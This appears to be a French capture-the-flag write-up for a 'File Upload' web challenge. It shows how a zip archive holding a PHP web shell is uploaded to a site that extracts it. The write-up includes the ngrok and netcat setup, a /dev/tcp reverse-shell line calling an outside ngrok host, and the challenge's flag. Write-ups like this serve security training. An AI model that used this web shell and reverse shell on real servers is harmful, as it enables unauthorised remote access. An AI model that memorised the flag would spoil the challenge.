# File Upload (Medium)

## Consignes

Le flag se trouve à la racine !



## Réalisation

Ce challenge nous demande de lui envoyer un fichier zip.\
\
Pour se faire, créer un dossier `/test` dans lequel on met un fichier nommé `NotAFlag.txt` avec le contenu suivant : \
`3700{00p5_175_n07_4_fl46}`\
\
On zip ensuite ce dossier :&#x20;

```bash
$ zip text.zip test
  adding: test/ (stored 0%)

$ ls
test  text.zip
```



Une fois le dossier en `.zip` , on l'upload sur le site :&#x20;

<figure><img src="https://3120589584-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeViYJbe5TWbbasP8qAun%2Fuploads%2FKGhuHZLfhkMlxAJ8v7tr%2F%7B38ED395E-F6C8-4DE8-AB33-BC0D5EC4F0F4%7D.png?alt=media&#x26;token=9c243aee-de5e-4390-b994-fc167a7379e7" alt=""><figcaption></figcaption></figure>

On observe que le site unzip notre dossier et extrait le contenu dans le répertoire `/tmp/upload/`.

On accède au lien donné par le site, cependant, il ne prends en compte uniquement le dossier présent dans le `.zip` mais pas son contenu.\
\
\
On fais donc un nouveau zip avec cette fois-ci uniquement le fichier `NotAFlag.txt` à l'intérieur :&#x20;

```bash
$ zip text.zip NotAFlag.txt 
  adding: NotAFlag.txt (stored 0%)
  
$ ls
NotAFlag.txt  text.zip
```



On fourni donc le nouveau dossier `.zip` au site WEB :&#x20;

<figure><img src="https://3120589584-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeViYJbe5TWbbasP8qAun%2Fuploads%2FgyudaAgLytrDjRh8J8KW%2F%7B61AA3269-B0C0-45E0-8D52-C9CDC1321B12%7D.png?alt=media&#x26;token=4269e7a7-ea0d-474e-a960-98756ee49aea" alt=""><figcaption></figcaption></figure>



On accède ensuite au lien fourni par le serveur. Ce dernier à bien pris en compte notre fichier que nous pouvons consulter :&#x20;

<figure><img src="https://3120589584-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeViYJbe5TWbbasP8qAun%2Fuploads%2FNmwU9QDhuDDQpx8URnKy%2F%7BFAD36129-057D-481B-B054-EDC170C0C22C%7D.png?alt=media&#x26;token=6daa5349-e2b9-4ff6-ac35-b59e79ad5046" alt=""><figcaption></figcaption></figure>

On a maintenant réaliser un reverse shell.\
\
Pour se faire, lancer dans un terminal ngrok sur le port `4444` :&#x20;

```bash
$ ngrok tcp 4444

ngrok                                                                                   (Ctrl+C to quit)
                                                                                                        
🫶 Using ngrok for OSS? Request a community license: https://ngrok.com/r/oss                            
                                                                                                        
Session Status                online                                                                    
Account                       xxxxxxxxxxx@gmail.com (Plan: Free)                                        
Update                        update available (version 3.22.1, Ctrl-U to update)                       
Version                       3.21.0                                                                    
Region                        Europe (eu)                                                               
Latency                       23ms                                                                      
Web Interface                 http://127.0.0.1:4040                                                     
Forwarding                    tcp://7.tcp.eu.ngrok.io:16675 -> localhost:4444                           
                                                                                                        
Connections                   ttl     opn     rt1     rt5     p50     p90                               
                              0       1       0.00    0.00    0.00    0.00  
```

{% hint style="info" %}
<mark style="color:red;">**Adresse :**</mark> 7.tcp.eu.ngrok.io

<mark style="color:red;">**Port :**</mark> 16675&#x20;
{% endhint %}



Lancer dans un second terminal netcat en écoute sur même port que ngrok (ici, `4444`) :&#x20;

```bash
$ nc -lvnp 4444 

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

```



On réalise maintenant un fichier `shell.php` à l'aide de l'adresse et du port fourni par ngrok :

```php
<?php
shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/16675 0>&1'");
?>
```



On créer le dossier `payload.zip` en y incluant notre fichier `shell.php` :&#x20;

```bash
$ zip payload.zip shell.php 
  adding: shell.php (deflated 5%)
  
$ ls
payload.zip  shell.php

```



On ajoute ensuite le dossier `payload.zip` sur le site WEB :&#x20;

<figure><img src="https://3120589584-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeViYJbe5TWbbasP8qAun%2Fuploads%2FPPCiCmOuXIurlBPMKNRG%2F%7B1627D313-CCDB-4441-82CE-F62BD02D4802%7D.png?alt=media&#x26;token=fb35fe32-0a75-46bc-b0b4-487c6fc4099d" alt=""><figcaption></figcaption></figure>



On accède au lien fourni par le site web et cliquons sur notre fichier `shell.php` :&#x20;

<figure><img src="https://3120589584-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeViYJbe5TWbbasP8qAun%2Fuploads%2FtSWqLn3SP0t25IW96AQ3%2F%7BC3628229-768F-43BB-951E-2D55DEA03C12%7D.png?alt=media&#x26;token=b93a87a5-0fe2-410d-ac47-20cb62880a03" alt=""><figcaption></figcaption></figure>



Une fois le fichier `shell.php` sélectionné, une connexion est bien établie avec notre netcat :&#x20;

```
$ nc -lvnp 4444 

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:37324.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@63d3c3d41b84:/var/www/html/tmp/upload/681dac56ec2b65.29298432$
```



On se rend donc à la racine de la machine comme nous indique les consignes du challenge pour y trouver le FLAG :&#x20;

```bash
www-data@63d3c3d41b84:/var/www/html/tmp/upload/681dac56ec2b65.29298432$ cd /
www-data@63d3c3d41b84:/$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

www-data@63d3c3d41b84:/$ cat flag.txt
2600{0dcO5lTnQZrpX4BKGcjClQ}
```



On obtient donc le FLAG :&#x20;

```
2600{0dcO5lTnQZrpX4BKGcjClQ}
```

